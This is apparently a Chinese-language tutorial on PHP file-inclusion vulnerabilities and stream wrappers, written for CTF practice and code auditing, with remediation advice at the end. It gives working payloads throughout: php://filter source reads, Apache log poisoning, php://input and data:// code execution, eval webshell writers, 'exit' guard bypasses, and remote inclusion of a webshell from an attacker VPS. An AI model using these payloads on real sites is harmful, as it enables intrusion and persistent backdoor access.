文件包含及伪协议

文件包含及伪协议

漏洞利用

利用条件

  1. 动态文件包含:通过 include() 等函数动态引入文件,且参数为动态变量。
  2. 用户可控:用户能够控制该动态变量的值。

利用方法

  1. 读取敏感文件

    示例:

    1
    ?arg=/etc/passwd
  2. 利用封装协议读取源码

    示例:

    1
    ?arg=php://filter/read=convert.base64-encode/resource=config.php

    说明:通过 php://filter 封装协议能看到 PHP 文件的源码。

  3. 包含图片 Getshell

    说明:在上传的图片中嵌入恶意代码,然后利用 LFI 包含该图片,即可执行图片内的 PHP 代码。

  4. 截断包含

    漏洞代码示例:

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    if(isset($_GET['arg']))
    {
    include($_GET['arg'].".php");
    } else {
    include(index.php);
    }
    ?>

    说明:这种做法在一定程度上修复了漏洞。例如,上传图片后访问 http://vuln.com/index.php?arg=1.jpg 会出错,因为不存在 1.jpg.php 文件。
    绕过方式
    如果输入 http://vuln.com/index.php?arg=1.jpg%00,则可能绕过检测(仅适用于 php.inimagic_quotes_qpc=off 且 PHP 版本 < 5.3.4 的情况)。
    注意:若 magic_quotes_qpc 为 on,则 %00 会被转义,无法达到截断效果。

  5. 包含 Apache 日志 Getshell

    条件: 已知日志文件(如 access.log)的存放位置,默认位置:/var/log/httpd/access_log
    说明:

    • 当目标网站存在文件包含漏洞,但没有可以包含的文件时,可尝试访问不存在的资源,例如:

      1
      http://www.vuln.com/<?php phpinfo(); ?>

      Apache 会将这条信息记录在 access.log 中。

    • 注意:输入的代码可能被转义,无法直接解析。

    • 解决方法:使用 BurpSuite 等工具对 HTTP 请求包中的转义代码进行修改,然后再次访问日志文件,例如:

      1
      http://www.vuln.com/index.php?arg=/var/log/httpd/access_log

      即可成功执行代码。


PHP 中的封装协议(伪协议)

php支持的伪协议

1
2
3
4
5
6
7
8
9
10
11
12
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

下面是美化后的笔记,所有原内容均已保留,并通过增加标题、分块、代码块和列表等方式进行了结构化展示,方便阅读和理解。


php://filter

php://filter 是一种元封装器,设计用于在数据流打开时对其进行筛选过滤。对于一些“一体式”的文件函数(如 readfile()、file() 和 file_get_contents()),由于在数据流内容读取之前无法应用其他过滤器,php://filter 就显得非常有用。

简单来说,它类似于一个中间件,在读入或写入数据时对数据进行处理后再输出。


功能与用途

  • 获取指定文件源码
    当与包含函数结合时,php://filter 流会被当作 PHP 文件执行。为了避免这种情况,我们通常会对其进行编码,从而使文件内容不被执行,而只是作为纯文本输出,达到任意文件读取的目的。

协议参数

参数名称 描述
resource=<要过滤的数据流> 必须参数。指定你要筛选过滤的数据流。
read=<读链的筛选列表> 可选参数。可设定一个或多个过滤器名称,使用管道符 `
write=<写链的筛选列表> 可选参数。可设定一个或多个过滤器名称,使用管道符 `
未以 read= 或 write= 开头的筛选器列表 将根据情况应用于读链或写链。

常用示例:

  1. 通过 base64 编码读取 index.php:

    1
    php://filter/read=convert.base64-encode/resource=index.php
  2. 直接读取 index.php(无编码):

    1
    php://filter/resource=index.php

利用 filter 协议读取文件时,会将 index.php 经过 base64 编码后输出,解决了文件包含后文件内容被执行而没有输出源码的问题。这里使用的 convert.base64-encode 就是一种过滤器。


常用过滤器

字符串过滤器
  • string.rot13
    对每个字符进行右移 13 位处理。
  • string.toupper
    将所有字符转换为大写。
  • string.tolower
    将所有字符转换为小写。
  • string.strip_tags
    用于去除读取内容中的所有标签(如 XML 标签等),在绕过“死亡 exit”时非常有用。

转换过滤器

主要用于对数据流进行编码或解码,常用于读取文件源码:

  • convert.base64-encode & convert.base64-decode
    Base64 编码与解码。
  • convert.quoted-printable-encode & convert.quoted-printable-decode
    将数据翻译为可打印字符引用编码或进行逆向转换。

压缩过滤器

注意:这里的压缩过滤器指的是对数据流中的有效载荷进行压缩或解压,并不会产生类似 gzip 的头尾信息。

  • zlib.deflate:压缩数据流。
  • zlib.inflate:解压数据流。
  • bzip2.compress / bzip2.decompress:工作方式与 zlib 过滤器类似。

加密过滤器

  • mcrypt.*mdecrypt.*
    使用 libmcrypt 提供对称加密和解密功能。

更多妙用请参考:详细说明


利用 filter 伪协议绕过“死亡 exit”

什么是“死亡 exit”

在进行写入 PHP 文件操作时,通常会执行以下函数之一来防止用户提交的代码被执行:

1
file_put_contents($content, '<?php exit();' . $content);

或者

1
file_put_contents($content, '<?php exit();?>' . $content);

这样写入后的文件内容示例如下:

1
2
3
<?php exit(); ?>

<?php @eval($_POST['snakin']);?>

即使插入了一句木马代码,由于前面有 <?php exit();?>,木马也无法被执行,这就是所谓的“死亡 exit”。这种机制通常用于缓存、配置文件等不允许用户直接访问的文件中。


base64_decode 绕过“死亡 exit”

利用 php://filter 的 base64-decode 方法可绕过“死亡 exit”。示例代码如下:

1
2
3
4
5
6
7
<?php

$content = '<?php exit; ?>';

$content .= $_POST['txt'];

file_put_contents($_POST['filename'], $content);

当用户通过 POST 方式提交数据时,提交的数据会与 <?php exit; ?> 拼接,避免代码被直接执行。但利用 php://filter 的 base64-decode 方法,可以利用 PHP 内置的 base64_decode 特性去除“死亡 exit”。
具体原理是:

  • Base64 编码只包含 64 个可打印字符,当 PHP 遇到不可解码的字符时,会跳过这些字符。
  • 因此,<?php exit; ?> 中的 <, ?, > 和空格等字符被去除后,剩下的就是 phpexit 以及用户传入的字符。
  • 由于 base64 是 4 字节一组,再添加一个字符(例如添加字符 a)后,“phpexita”会被当做两组 base64 进行解码,从而绕过“死亡 exit”。

这样,后续再加上经过编码的一句话木马,便可成功 getshell。


strip_tags 绕过“死亡 exit”

注意到 <?php exit; ?> 实际上是一个 XML 标签,可以利用 strip_tags 函数将其去除。
在写入文件时,filter 支持多个过滤器组合使用,可以先将 webshell 经过 base64 编码,然后利用 strip_tags 去除“死亡 exit”,最后再通过 base64-decode 复原。

示例命令:

1
php://filter/string.strip_tags|convert.base64-decode/resource=shell.php

file://

  • 作用:用于访问本地文件系统。在 CTF 中常用于读取本地文件,不受 allow_url_fopenallow_url_include 影响。

  • 说明include()require() 系列函数在包含非 .php 文件时,仍会按照 PHP 语法解析。

  • 示例

    1. 绝对路径

      1
      http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
    2. 相对路径

      1
      http://127.0.0.1/include.php?file=./phpinfo.txt
    3. 网络路径

      1
      http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php://

  • 条件allow_url_fopen:off/on;部分需要 allow_url_include 为 on(见下文说明)。

  • 作用:访问各种输入/输出流(I/O streams),在 CTF 中常用的有 php://filterphp://input

    • php://filter:用于读取文件源码。
    • php://input:用于执行 PHP 代码。
  • 示例

    1. 读取文件源码

      1
      http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
    2. 执行 PHP 代码(结合 POST 数据):

      1
      http://127.0.0.1/include.php?file=php://input

      POST 数据部分:

      1
      <?php phpinfo(); ?>
    3. 写一句话木马(若具有写入权限): POST 数据部分:

      1
      <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

zip:// & bzip2:// & zlib://

  • 作用:这些协议属于压缩流,可以访问压缩文件中的子文件。

  • 特点:无需指定后缀名,可修改为任意后缀(如 jpg、png、gif 等)。

  • 示例

    1. **zip://**:

      • phpinfo.txt 压缩为 phpinfo.zip,重命名为 phpinfo.jpg 上传后:

        1
        http://127.0.0.1/include.php?file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

        注意:# 符号需编码为 %23

    2. **compress.bzip2://**:

      • phpinfo.txt 压缩为 phpinfo.bz2 并上传:

        1
        http://127.0.0.1/include.php?file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
    3. **compress.zlib://**:

      • phpinfo.txt 压缩为 phpinfo.gz

        1
        http://127.0.0.1/include.php?file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz

data://

  • 条件allow_url_fopen:onallow_url_include:on

  • 作用:从 PHP >= 5.2.0 开始,可以使用 data:// 数据流封装器传递数据。通常用于执行 PHP 代码。

  • 示例

    1. 直接执行 PHP 代码

      1
      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
    2. Base64 编码

      1
      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://

  • 作用:与 zip:// 类似,可以访问 zip 格式压缩包内容。

  • 利用条件:PHP > 5.3
    要使用 Phar 类中的方法,必须将 phar.readonly 配置项设置为 0 或 Off。

  • 扩展攻击面:利用 phar:// 协议可以拓展 PHP 反序列化漏洞攻击面。

  • 示例

    1
    http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

远程文件包含 (RFL)

漏洞描述

当服务器通过 PHP 的特性(函数)包含任意文件时,由于要包含的文件来源过滤不严格,攻击者可包含一个恶意文件,从而达到远程构造特定恶意文件的目的。

漏洞利用

条件php.ini 中需开启 allow_url_includeallow_url_fopen 选项。

  1. 远程包含 Webshell

    示例:

    1
    ?arg=http://攻击者的VPS/shell.txt

    说明:会在网站目录生成名为 shell.php 的一句话木马,其内容为:

    1
    2
    3
    <?php
    fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
    ?>

代码审计

重点关注的函数

  • include()
    • 说明:只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
  • include_once()
    • 说明:功能与 include() 类似,但同一文件重复调用时只会调用一次。
  • require()
    • 说明:只要程序执行就立即调用,若出错则输出错误信息并终止程序。
  • require_once()
    • 说明:与 require() 类似,但同一文件重复调用时只会调用一次。

审计重点

  • 全局搜索上述文件包含函数。
  • 对于基于图像上传的场景,重点检查 $_FILES 变量(因为 PHP 处理上传文件主要依赖 $_FILES)。
  • 检查目录结构,特别关注 includesmodules 等文件夹,以及是否在 index.php 中动态调用这些文件,变量是否可控。

修复建议

  1. 禁止远程文件包含
    • allow_url_include 设置为 off
  2. 配置 open_basedir
    • 指定目录,限制访问范围。
  3. 过滤特殊符号
    • ../ 等特殊符号进行严格过滤。
  4. 修改 Apache 日志文件存放地址
    • 防止利用 Apache 日志包含执行恶意代码。
  5. 开启魔术引号
    • 设置 magic_quotes_qpcon
  6. 避免动态变量调用文件
    • 尽量直接写明要包含的文件路径,避免通过用户输入的动态变量调用文件。

更多参考文章

https://segmentfault.com/a/1190000018991087

https://wiki.wgpsec.org/knowledge/web/fileincludes.html

https://blog.csdn.net/weixin_59166557/article/details/143647869